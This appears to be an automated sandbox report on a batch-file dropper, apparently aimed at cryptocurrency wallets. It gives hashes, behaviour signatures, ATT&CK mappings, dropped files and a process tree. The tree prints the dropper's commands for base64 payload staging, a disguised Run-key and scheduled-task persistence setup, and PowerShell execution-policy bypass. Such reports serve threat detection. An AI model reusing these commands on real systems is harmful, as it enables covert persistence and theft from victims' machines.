Analysis
- max time kernel
300s - max time network
202s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
02/06/2026, 18:05
Static task
static1
Behavioral task
behavioral1
Sample
CryptoPulse-Single-Dropper-YourAddrs.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
CryptoPulse-Single-Dropper-YourAddrs.bat
Resource
win11-20260513-en
General
- Target CryptoPulse-Single-Dropper-YourAddrs.bat
- Size 27KB
- Sample260602-wpghssds7k
- SHA256 fbde54cb988fbbf66373b7e8d7d4c440feeccbae0a4ab279e456eb0984ed8de6
- MD5 3c773a737b00e2f1ad5c4ec1a80ab9c2
- SHA1 af7c256635e28da9b23ad1c594d56a474ceef4cd
- SHA512 01663891a8b8bbf40ee89585d8bff0ae53be1ffec9e9831803c0f31d16d0d1e4b0c585e4aa6e7617e1bfb918127d6daf1dcef117b2c4fd63b7b6ea66d308e6c0
- SSDEEP 768:37GCnzOP9zkja0n8+EVYGtErrDQF3tB3PZ6:37Zni9zkjaQ8+AYGyrfA3thPQ
- TLSH T191C22AA31C5A1E5A6FF0995169EC14E11CECE3CE20E0BDCFA369B448E67444E32D279C
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3524 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ThemeSync = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\Cached\\launch.vbs\"" reg.exe -
pid Process 1776 powershell.exe 3432 powershell.exe 4036 powershell.exe 3524 powershell.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Delays execution with timeout.exe 1 IoCs
pid Process 1396 timeout.exe - Kills process with taskkill 2 IoCs
pid Process 4636 taskkill.exe 4104 taskkill.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1732 schtasks.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1776 powershell.exe 1776 powershell.exe 3432 powershell.exe 3432 powershell.exe 4036 powershell.exe 4036 powershell.exe 3524 powershell.exe 3524 powershell.exe - Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeDebugPrivilege 4636 taskkill.exe Token: SeDebugPrivilege 4104 taskkill.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeDebugPrivilege 3432 powershell.exe Token: SeDebugPrivilege 4036 powershell.exe Token: SeDebugPrivilege 3524 powershell.exe Token: SeIncreaseQuotaPrivilege 3524 powershell.exe Token: SeSecurityPrivilege 3524 powershell.exe Token: SeTakeOwnershipPrivilege 3524 powershell.exe Token: SeLoadDriverPrivilege 3524 powershell.exe Token: SeSystemProfilePrivilege 3524 powershell.exe Token: SeSystemtimePrivilege 3524 powershell.exe Token: SeProfSingleProcessPrivilege 3524 powershell.exe Token: SeIncBasePriorityPrivilege 3524 powershell.exe Token: SeCreatePagefilePrivilege 3524 powershell.exe Token: SeBackupPrivilege 3524 powershell.exe Token: SeRestorePrivilege 3524 powershell.exe Token: SeShutdownPrivilege 3524 powershell.exe Token: SeDebugPrivilege 3524 powershell.exe Token: SeSystemEnvironmentPrivilege 3524 powershell.exe Token: SeRemoteShutdownPrivilege 3524 powershell.exe Token: SeUndockPrivilege 3524 powershell.exe Token: SeManageVolumePrivilege 3524 powershell.exe Token: 33 3524 powershell.exe Token: 34 3524 powershell.exe Token: 35 3524 powershell.exe Token: 36 3524 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4512 wrote to memory of 3780 4512 cmd.exe 81 PID 3780 wrote to memory of 4636 3780 cmd.exe 83 PID 3780 wrote to memory of 4104 3780 cmd.exe 85 PID 3780 wrote to memory of 1396 3780 cmd.exe 86 PID 3780 wrote to memory of 1776 3780 cmd.exe 87 PID 3780 wrote to memory of 3432 3780 cmd.exe 88 PID 3780 wrote to memory of 4036 3780 cmd.exe 89 PID 3780 wrote to memory of 4920 3780 cmd.exe 90 PID 3780 wrote to memory of 1732 3780 cmd.exe 91 PID 3780 wrote to memory of 4464 3780 cmd.exe 92 PID 4464 wrote to memory of 3524 4464 wscript.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat" hide2⤵
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\system32\taskkill.exetaskkill /F /IM powershell.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4636
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C:\Windows\system32\taskkill.exetaskkill /F /IM wscript.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4104
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:1396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\theme.ps1', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\bip39.txt', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\launch.vbs', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4036
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ThemeSync" /t REG_SZ /d "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /f3⤵
- Adds Run key to start application
PID:4920
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C:\Windows\system32\schtasks.exeschtasks /create /tn "MicrosoftWindowsThemeSync" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:1732
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3524
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C:\Windows\system32\wscript.exewscript.exe1⤵PID:228
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
- MD5 88dc70c361a22feac57b031dd9c1f02f
- SHA1 a9b4732260c2a323750022a73480f229ce25d46d
- SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
- TLSH T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 99570f5fb2cdea71b49f1704812a3dac1bf98b00f13269108b17a4d40816c88e
- MD5 0391e52dac35ffa88c8427ac72f0fcf0
- SHA1 908f7e0761d4eae163aabc2e84124f5ca855119b
- SHA512 0bfaa86e2defedb734bde5c4105446e38c0b9903fe8dce681de48c1dea87b6bc8bf202df0108931ecf3558167ae6ba6e251e5b52c79107940f1b7a368344ff4e
- TLSH T1C6117633B79CC134C8E915BA1088AD11B1B1C3CB049EDE8F7B84C119E67F99AEB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 34e44060ab82aa2a3f7007afad1fd907e1a319b26e3e7061cefbfb001d5021ae
- MD5 3d6e3b64f994978b94fc50a5b2985f9d
- SHA1 dac0218a14cdbfcd871b6b24ad370c9ed5304421
- SHA512 1488bb2391d7e8be284ed07c57deb6628e93d650dc8959b49f220ff17a6ef04975b10f4ef2b2b39e57b638b0e91d572d79caccd6f9d45ed572ab8955375532cf
- TLSH T12B117A33B79CC134C8D9157A1088AD11B1B1C3CB049EDE8F7B84C109E57F99ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
- MD5 d6b84d4be64de661c778642e3a7f6ff7
- SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
- SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
- TLSH T108115333B79CC235C8E915BA1088AE11B1B5C3C7049EDE8F7A84C109E67F99ADB645E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3s4u521r.2lb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cp_bip.b64
- Size 17KB
- SHA256 c38883a93ee16c11557c0c8eed35bd67e0977c253fe939178c252a07c4e47c81
- MD5 56e0b2f948c33de3fbcfd815ecc2fac2
- SHA1 38b55342b1c2e523bcb846255354d206261d8770
- SHA512 3678655522a92f57e840a80976227cf0da5e1be65f0de1f56287e8feae774046924e7efa260231ccef8942ab1b6bc9733797923d86aee060e0b4a9b2c0dfe68e
- SSDEEP 384:WIuXja0gj8+E42hGVcETgrgiOCo80Qs+dYtBzrP+cSf7r:qa0W8+EVhGtEruDQs3tB3POr
- TLSH T10372E87315191AAF99F46A46A4A825B10CD8E7CE30F0FEC7E73DB401EB7484531E1BA9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64
- Size 7KB
- SHA256 fedd64e81dacbec7993481b5cfe383db065e970c125ffb654bf09c168b4c1edb
- MD5 7ed7b2a88f5f146a86d8fef0ed880a46
- SHA1 ff1ae00a475b6d69eb91f59714cad3a6e3a0dfa6
- SHA512 3a866e8592622d6aa666abca363bfbca8e1911d78ff221aabbbcbba3232463d71d257b7fb7d66db5b1f101e50cce51fa0d431a4260d52f5707598c6f43bdf8c9
- SSDEEP 192:5pWi4+k8i/T+eQTBxyB6MP9zktvCn5u/r:5pWiFk8TDTzynP9zktvCn5uT
- TLSH T16FF1C8A44CDB1E88BFA3CDA11DEC3CD769BD4B8B0481342E43D5AD9CB1A258F96C119C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64
- Size 374B
- SHA256 c74a955436e350b7f876966191f4112427a8946e0fdd3cbe61291337a6ed954b
- MD5 f54ef69f6ed172aa7ad7ac5c2883dd27
- SHA1 775ef46757745d3a5f35c393ab877c1bc5492db1
- SHA512 2a994466775c6f2f8f43eadc80b4dcd822aef127aa2ae4fbe3633c0e9c5cafb0dc14992949949f22d1f4e87c71cc12d936a61b091a3ad7143510c2fda511e739
- TLSH T12DE0C0DE74302320490DA211FC6453D5ACEC969D28E33C061E52348382F91CD79E64E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\bip39.txt
- Size 12KB
- SHA256 d0003245f30106bd5d7ef8ebd135f5c6b0c3ab1f6c874184784d658737294828
- MD5 8fe58cfc44be8011193f7a9c4ae35747
- SHA1 9d14bd31ecae2da96f52c8bc2b1a4741aed6a912
- SHA512 a60059ac4316f2765a2a91b4a93d6292de357e812f40b055775c6a6fb6119dc68f6594873d7e45cb66081448ff19bf8d82dbd94471023a9d75b41ab91f19b10b
- SSDEEP 192:DAvLtKog3W88riDa/+rLpsNxEKqlyjn6SiEqCr4MX/7yvSX30hw8OdqXRJ59JF2m:MvLAogQIaGrdsNxnLvXSSUqCpiO
- TLSH T1A3421A7CA360353BEACB5B8FDC883F51DA444D336E0254E4B66D5649184B9C6CB28E2B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs
- Size 279B
- SHA256 bff1501bee3106a6b4d904a72f0b4f1a2c3ef69a83b93613c19ce133c65901cd
- MD5 7bafa2d94f6e115dbdd2e9f6e7fa3ae3
- SHA1 b1ddce8aa6d316325a45884caa0fe301271e96a7
- SHA512 dc42efa2d32b357b91d71338aa9f9f789ad997b94627fb10b4d05eadc19fbe54c9a15f4e3e6c7d13d9bd206719293371e05a85a5c65d678f685aa1f679355300
- TLSH T17AD02B04E935CB290D5FD2BA00F2C81DCAB6B22C1210D528A9A4CD8454183B0072A746
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1
- Size 5KB
- SHA256 867722324af9e7c8bf7227e2e4be723c302fd456bda1556ab7d8553fcf17a372
- MD5 af964adbfdd619743302748ea39bb482
- SHA1 ed74df8cfddf333439f964dcdc44aefaab6aeb42
- SHA512 a9e291fd7bd7fc370519bddad4e7c351be4249fa3c7909afdac59747e14633c3ec98d5c0b774773d948e49cab13a6dbb4fdd197ac0d7e4346b52a73fbf3b8d3a
- SSDEEP 96:9WTilyGZ5LMg5XTtn3Lu5I1VJBJzST5mckfX/JZh9Juy84hdWBKfXU05sJrRVU78:94W1D5XTZ3qgc9kvl9DToBKfXsJrRVUo
- TLSH T18DC1B618716E1C79C3DF1B8A28B32D4E85EE05378004496DFCDEC0A44FA5729A4CA7ED
- MD5 SHA1 SHA512 SSDEEP TLSH